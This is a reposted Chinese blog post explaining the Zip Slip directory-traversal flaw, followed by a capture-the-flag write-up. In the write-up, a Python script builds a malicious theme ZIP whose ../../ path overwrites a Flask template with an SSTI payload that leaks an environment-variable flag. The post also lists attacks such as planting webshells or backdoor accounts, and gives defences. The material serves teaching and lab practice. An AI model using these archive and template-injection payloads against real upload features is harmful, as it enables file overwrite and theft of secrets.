尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

zip slip目录遍历漏洞

zip slip目录遍历漏洞
📅 发布时间:2026/6/18 13:23:59
Zip Slip 是一种高危的目录遍历漏洞,主要发生在文件解压过程中。攻击者通过构造恶意的压缩包,利用路径遍历字符(如 ../)覆盖服务器上的任意文件,甚至实现远程代码执行(RCE)。

漏洞原理:

当解压程序未对压缩包内的文件名进行安全校验时,攻击者可以构造一个包含特殊路径的文件名,例如:

../../../etc/passwd

../../../../var/www/html/index.php

解压时,程序会按照这个路径将文件写入到指定位置,从而覆盖系统关键文件。

攻击场景:

覆盖系统文件:覆盖 /etc/passwd 或 /etc/shadow,添加后门账户。

覆盖Web文件:覆盖网站源码,植入Webshell。

覆盖配置文件:修改服务配置,导致服务异常或权限提升。

防御措施:

路径校验:解压前检查文件名是否包含 ../ 或绝对路径。

限制解压目录:强制所有文件解压到指定目录,禁止跳出。

使用安全库:如 Java 的 java.util.zip 库在 JDK 8 及以下版本存在此风险,建议升级或使用 Apache Commons Compress 等安全库。

python制作压缩包

import zipfilepayload = """<div class="photo-card">
<h2>ZeroG Theme Loaded</h2>
<p>{{ config['ZEROG_FLAG'] }}</p>
</div>
"""with zipfile.ZipFile("evil_theme.zip", "w", zipfile.ZIP_DEFLATED) as z:z.writestr("../../templates/theme/card.html", payload)

解释:

(1)zipfile.ZipFile("evil_theme.zip", "w", ...):创建一个名为 evil_theme.zip 的新压缩包,模式为写入("w")。

(2)z.writestr(filename, data):这是最关键的一步。它不读取磁盘上的文件,而是直接将内存中的字符串 payload 写入压缩包,并指定其在压缩包内的文件名为 filename

例题:见zip slip目录遍历漏洞复现

降低难度,白盒审计题,附件中为附件源码 Flag 格式:flag{...} ZeroG 空间站上线了一个照片墙系统,成员可以上传轨道照片,也可以上传自定义主题包来改变照片卡片样式。 开发人员声称: “主题包只是 ZIP,里面放一些 HTML 片段和资源文件,不会有危险。” Fen 看完源码后留下了一句话: “压缩包里的路径,也许不只通向解压目录。” 请利用主题包上传功能读取动态 flag。 

提示说明和压缩包路径有关,能想到软链接或者路径穿越
代码审计一下就能发现是路径穿越

image

解压目录是/app/themes/<uuid>/
再审计一下代码发现gallery.html会包含card.html,且能看出是flask模板

image

思路就是 伪造../../templates/theme/card.html文件并通过路径穿越覆盖card.html,查看app.py发现/gallery路由访问后包含card.html触发ssti

根据docker-compose.yml的内容得知flag在环境变量里

image

python制作压缩包

import zipfilepayload = """<div class="photo-card">
<h2>ZeroG Theme Loaded</h2>
<p>{{ config['ZEROG_FLAG'] }}</p>
</div>
"""with zipfile.ZipFile("evil_theme.zip", "w", zipfile.ZIP_DEFLATED) as z:z.writestr("../../templates/theme/card.html", payload)

image

上传后即可看到flag

image

本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20627586

相关新闻

  • JavaWeb/JSP 项目基础框架:Servlet、JSP、JDBC 与管理系统案例整理
  • PowerPC 601流水线优化:从数据依赖、旁路技术到实战避坑指南
  • ZigBee OTA升级实战:从API函数到安全可靠的无线固件更新

最新新闻

  • 2026恩施防水补漏靠谱服务商盘点:屋面/厨卫/外墙/地下室渗水维修详解,适配武陵山区清江沿岸峡谷雾天山体渗水防潮甄选指南 - 宅安选房屋修缮
  • 计算机Django毕设实战-基于 Django 的校园智能点餐服务系统的设计与实现 基于 Django 的餐饮在线点餐管理系统【完整源码+LW+部署说明+演示视频,全bao一条龙等】
  • 解锁Office潜能:用Office RibbonX Editor打造个性化功能区界面
  • 喜报!openFuyao生态五大案例入选国家级 “2025年软件和信息技术服务业示范案例“
  • 从“能跑的 Agent”到“敢上生产的 Agent”
  • 【磁盘管理】

日新闻

  • 5分钟掌握Python进化算法:Geatpy高性能优化工具完全指南
  • Microchip 24AA044 EEPROM选型与应用全指南:从参数解析到实战编程
  • 华为的鸿蒙到底有多牛?为什么称作遥遥领先?

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号